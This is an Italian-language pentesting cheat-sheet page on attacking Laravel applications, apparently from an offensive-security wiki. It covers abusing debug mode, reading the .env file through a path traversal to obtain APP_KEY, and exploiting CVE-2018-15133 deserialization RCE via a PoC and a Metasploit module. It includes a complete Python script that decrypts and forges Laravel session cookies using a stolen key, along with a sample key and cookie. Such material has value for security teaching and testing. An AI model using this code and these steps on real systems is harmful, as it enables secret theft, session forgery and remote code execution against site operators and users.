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Laravel Tricks

Modalità di debug

Se Laravel è in modalità di debug sarai in grado di accedere al codice e ai dati sensibili. Ad esempio http://127.0.0.1:8000/profiles:

Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel.

.env

Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato .env che può essere accessibile utilizzando un percorso di traversamento sotto: /../.env

Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata).

Utilizzando la chiave segreta APP_KEY di Laravel puoi decrittografare e ri-cifrare i cookie:

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Qui puoi trovare informazioni sulla vulnerabilità di deserializzazione: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Puoi testarla e sfruttarla usando https://github.com/kozmic/laravel-poc-CVE-2018-15133 Oppure puoi anche sfruttarla con metasploit: use unix/http/laravel_token_unserialize_exec